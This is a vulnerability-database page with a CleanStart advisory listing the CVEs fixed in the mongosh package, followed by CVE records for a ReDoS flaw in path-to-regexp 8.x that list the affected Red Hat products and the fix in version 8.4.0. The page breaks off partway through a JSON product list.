Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Multiple security vulnerabilities affect the mongosh package. These issues are resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "mongosh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.2-r3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the mongosh package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-XR95601",
"modified": "2026-05-06T08:56:09Z",
"published": "2026-05-18T13:40:13.239792Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-XR95601.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-25285"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-21637"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2950"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-40175"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41650"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4926"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-23c5-xmqv-rm74"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-27v5-c462-wpq7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2w6w-674q-4c4q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-34x7-hfp2-rc4v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3mfm-83xf-c92r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3p68-rc4w-qgx5"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3v7f-55p6-f55p"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-48c2-rrv3-qjmp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-6v7q-wjvx-w8wg"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72xf-g2v4-qvf3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7r86-cg39-jmmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-83g3-92jg-28cx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8gc5-j5rx-235r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8qq5-rm4j-mr97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9cx6-37pm-9jff"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9ppj-qmqm-q256"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c2c7-rcm5-vvqj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-chqc-8p9q-pq6q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f23m-r3pf-42rh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f886-m6hf-6m8v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fj3w-jwp8-x2g3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fjxv-7rqg-78g4"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fvcv-3m26-pcqx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-gh4j-gqv2-49f6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-j3q9-mxjg-w52f"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jp2q-39xq-3w4g"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mh29-5h37-fv8m"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pfrx-2q88-qq97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qffp-2rhf-9h96"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r4q5-vmmm-2653"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r5fr-rjxr-66jc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r6q2-hw4h-h46w"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rc47-6667-2j5j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rmvr-2pp2-xj38"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rp42-5vxx-qpwr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w5hq-g745-h8pq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xhpv-hc6g-r9c6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xjpj-3mr7-gcpf"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25285"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21637"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2950"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40175"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41650"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4926"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2025-25285, CVE-2025-62718, CVE-2026-21637, CVE-2026-2950, CVE-2026-33750, CVE-2026-33916, CVE-2026-33937, CVE-2026-40175, CVE-2026-41650, CVE-2026-4800, CVE-2026-4923, CVE-2026-4926, ghsa-23c5-xmqv-rm74, ghsa-27v5-c462-wpq7, ghsa-2w6w-674q-4c4q, ghsa-34x7-hfp2-rc4v, ghsa-3mfm-83xf-c92r, ghsa-3p68-rc4w-qgx5, ghsa-3v7f-55p6-f55p, ghsa-48c2-rrv3-qjmp, ghsa-6v7q-wjvx-w8wg, ghsa-72xf-g2v4-qvf3, ghsa-7r86-cg39-jmmj, ghsa-83g3-92jg-28cx, ghsa-8gc5-j5rx-235r, ghsa-8qq5-rm4j-mr97, ghsa-9cx6-37pm-9jff, ghsa-9ppj-qmqm-q256, ghsa-c2c7-rcm5-vvqj, ghsa-chqc-8p9q-pq6q, ghsa-f23m-r3pf-42rh, ghsa-f886-m6hf-6m8v, ghsa-fj3w-jwp8-x2g3, ghsa-fjxv-7rqg-78g4, ghsa-fvcv-3m26-pcqx, ghsa-gh4j-gqv2-49f6, ghsa-j3q9-mxjg-w52f, ghsa-jp2q-39xq-3w4g, ghsa-mh29-5h37-fv8m, ghsa-pfrx-2q88-qq97, ghsa-qffp-2rhf-9h96, ghsa-r4q5-vmmm-2653, ghsa-r5fr-rjxr-66jc, ghsa-r6q2-hw4h-h46w, ghsa-rc47-6667-2j5j, ghsa-rmvr-2pp2-xj38, ghsa-rp42-5vxx-qpwr, ghsa-w5hq-g745-h8pq, ghsa-xhpv-hc6g-r9c6, ghsa-xjpj-3mr7-gcpf applied in versions: 2.6.0-r1, 2.7.0-r0, 2.8.1-r0, 2.8.2-r0, 2.8.2-r1, 2.8.2-r2, 2.8.2-r3",
"upstream": [
"CVE-2025-25285",
"CVE-2025-62718",
"CVE-2026-21637",
"CVE-2026-2950",
"CVE-2026-33750",
"CVE-2026-33916",
"CVE-2026-33937",
"CVE-2026-40175",
"CVE-2026-41650",
"CVE-2026-4800",
"CVE-2026-4923",
"CVE-2026-4926",
"ghsa-23c5-xmqv-rm74",
"ghsa-27v5-c462-wpq7",
"ghsa-2w6w-674q-4c4q",
"ghsa-34x7-hfp2-rc4v",
"ghsa-3mfm-83xf-c92r",
"ghsa-3p68-rc4w-qgx5",
"ghsa-3v7f-55p6-f55p",
"ghsa-48c2-rrv3-qjmp",
"ghsa-6v7q-wjvx-w8wg",
"ghsa-72xf-g2v4-qvf3",
"ghsa-7r86-cg39-jmmj",
"ghsa-83g3-92jg-28cx",
"ghsa-8gc5-j5rx-235r",
"ghsa-8qq5-rm4j-mr97",
"ghsa-9cx6-37pm-9jff",
"ghsa-9ppj-qmqm-q256",
"ghsa-c2c7-rcm5-vvqj",
"ghsa-chqc-8p9q-pq6q",
"ghsa-f23m-r3pf-42rh",
"ghsa-f886-m6hf-6m8v",
"ghsa-fj3w-jwp8-x2g3",
"ghsa-fjxv-7rqg-78g4",
"ghsa-fvcv-3m26-pcqx",
"ghsa-gh4j-gqv2-49f6",
"ghsa-j3q9-mxjg-w52f",
"ghsa-jp2q-39xq-3w4g",
"ghsa-mh29-5h37-fv8m",
"ghsa-pfrx-2q88-qq97",
"ghsa-qffp-2rhf-9h96",
"ghsa-r4q5-vmmm-2653",
"ghsa-r5fr-rjxr-66jc",
"ghsa-r6q2-hw4h-h46w",
"ghsa-rc47-6667-2j5j",
"ghsa-rmvr-2pp2-xj38",
"ghsa-rp42-5vxx-qpwr",
"ghsa-w5hq-g745-h8pq",
"ghsa-xhpv-hc6g-r9c6",
"ghsa-xjpj-3mr7-gcpf"
]
}
CVE-2026-4923 (GCVE-0-2026-4923)
Vulnerability from cvelistv5 – Published: 2026-03-26 19:02 – Updated: 2026-03-27 13:58- CWE-1333 - Inefficient Regular Expression Complexity
| Vendor | Product | Version | |
|---|---|---|---|
| path-to-regexp | path-to-regexp |
Affected:
8.0.0 , < 8.4.0
(semver)
Unaffected: 8.4.0 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4923",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-27T13:46:47.360477Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T13:58:03.925Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/path-to-regexp",
"product": "path-to-regexp",
"vendor": "path-to-regexp",
"versions": [
{
"lessThan": "8.4.0",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "8.4.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "blakeembrey"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "UlisesGascon"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Impact:\n\nWhen using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.\n\nUnsafe examples:\n\n/*foo-*bar-:baz\n/*a-:b-*c-:d\n/x/*a-:b/*c/y\n\nSafe examples:\n\n/*foo-:bar\n/*foo-:bar-*baz\n\nPatches:\n\nUpgrade to version 8.4.0.\n\nWorkarounds:\n\nIf you are using multiple wildcard parameters, you can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable."
}
],
"value": "Impact:\n\nWhen using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.\n\nUnsafe examples:\n\n/*foo-*bar-:baz\n/*a-:b-*c-:d\n/x/*a-:b/*c/y\n\nSafe examples:\n\n/*foo-:bar\n/*foo-:bar-*baz\n\nPatches:\n\nUpgrade to version 8.4.0.\n\nWorkarounds:\n\nIf you are using multiple wildcard parameters, you can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-26T19:02:00.729Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://cna.openjsf.org/security-advisories.html"
}
],
"title": "path-to-regexp vulnerable to Regular Expression Denial of Service via multiple wildcards",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-4923",
"datePublished": "2026-03-26T19:02:00.729Z",
"dateReserved": "2026-03-26T18:05:44.717Z",
"dateUpdated": "2026-03-27T13:58:03.925Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-4926 (GCVE-0-2026-4926)
Vulnerability from cvelistv5 – Published: 2026-03-26 18:59 – Updated: 2026-06-30 12:10| URL | Tags |
|---|---|
| https://cna.openjsf.org/security-advisories.html | |
| https://access.redhat.com/security/cve/CVE-2026-4926 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2451867 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:24761 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24762 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17789 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:19409 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:19410 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24866 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13545 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:9742 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13826 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10175 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:9385 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10172 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10153 | vendor-advisoryx_refsource_REDHAT |
| Vendor | Product | Version | |
|---|---|---|---|
| path-to-regexp | path-to-regexp |
Affected:
8.0.0 , < 8.4.0
(semver)
Unaffected: 8.4.0 (semver) |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 8 |
cpe:/a:redhat:ansible_automation_platform:2.5::el8 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.5 for RHEL 9 |
cpe:/a:redhat:ansible_automation_platform:2.5::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9 cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 9 |
cpe:/a:redhat:ansible_automation_platform:2.6::el9 cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9 cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9 |
|
| Red Hat | Cryostat 4 on RHEL 9 |
cpe:/a:redhat:cryostat:4::el9 |
|
| Red Hat | Migration Toolkit for Virtualization 2.1 |
cpe:/a:redhat:migration_toolkit_virtualization:2.10::el9 |
|
| Red Hat | Migration Toolkit for Virtualization 2.9 |
cpe:/a:redhat:migration_toolkit_virtualization:2.9::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 |
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Developer Hub 1.8 |
cpe:/a:redhat:rhdh:1.8::el9 |
|
| Red Hat | Red Hat Developer Hub 1.9 |
cpe:/a:redhat:rhdh:1.9::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.27 |
cpe:/a:redhat:openshift_devspaces:3.27::el9 |
|
| Red Hat | Red Hat OpenShift distributed tracing 3.9.3 |
cpe:/a:redhat:openshift_distributed_tracing:3.9::el9 |
|
| Red Hat | Red Hat Trusted Artifact Signer 1.3 |
cpe:/a:redhat:trusted_artifact_signer:1.3::el9 |
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:5 |
|
| Red Hat | Migration Toolkit for Applications 8 |
cpe:/a:redhat:migration_toolkit_applications:8 |
|
| Red Hat | Multicluster Engine for Kubernetes |
cpe:/a:redhat:multicluster_engine |
|
| Red Hat | OpenShift Pipelines |
cpe:/a:redhat:openshift_pipelines:1 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2 |
cpe:/a:redhat:acm:2 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat Ansible Automation Platform 2 |
cpe:/a:redhat:ansible_automation_platform:2 |
|
| Red Hat | Red Hat Build of Podman Desktop |
cpe:/a:redhat:podman_desktop:1 |
|
| Red Hat | Red Hat Data Grid 8 |
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat Developer Hub |
cpe:/a:redhat:rhdh:1 |
|
| Red Hat | Red Hat Edge Manager 1 |
cpe:/a:redhat:edge_manager:1 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
|
| Red Hat | Red Hat Openshift Data Foundation 4 |
cpe:/a:redhat:openshift_data_foundation:4 |
|
| Red Hat | Red Hat OpenShift GitOps |
cpe:/a:redhat:openshift_gitops:1 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | Self-service automation portal 2 |
cpe:/a:redhat:ansible_portal:2 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 for RHEL 10 |
cpe:/a:redhat:ansible_automation_platform:2.6::el10 cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | Network Observability Operator |
cpe:/a:redhat:network_observ_optr:1 |
|
| Red Hat | OpenShift Lightspeed |
cpe:/a:redhat:openshift_lightspeed |
|
| Red Hat | OpenShift Service Mesh 2 |
cpe:/a:redhat:service_mesh:2 |
|
| Red Hat | OpenShift Service Mesh 3 |
cpe:/a:redhat:service_mesh:3 |
|
| Red Hat | Red Hat Advanced Cluster Security 4 |
cpe:/a:redhat:advanced_cluster_security:4 |
|
| Red Hat | Red Hat build of Apache Camel - HawtIO 4 |
cpe:/a:redhat:apache_camel_hawtio:4 |
|
| Red Hat | Red Hat build of Apicurio Registry 2 |
cpe:/a:redhat:service_registry:2 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
cpe:/o:redhat:enterprise_linux:10 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift Virtualization 4 |
cpe:/a:redhat:container_native_virtualization:4 |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Quay 3 |
cpe:/a:redhat:quay:3 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Trusted Profile Analyzer |
cpe:/a:redhat:trusted_profile_analyzer:2 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4926",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-27T19:44:44.790485Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T19:44:53.294Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_virtualization:2.10::el9"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Virtualization 2.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_virtualization:2.9::el9"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Virtualization 2.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_distributed_tracing:3.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift distributed tracing 3.9.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Trusted Artifact Signer 1.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "affected",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:1"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:edge_manager:1"
],
"defaultStatus": "affected",
"product": "Red Hat Edge Manager 1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_gitops:1"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift GitOps",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el10",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "unaffected",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_lightspeed"
],
"defaultStatus": "unaffected",
"product": "OpenShift Lightspeed",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat Advanced Cluster Security 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
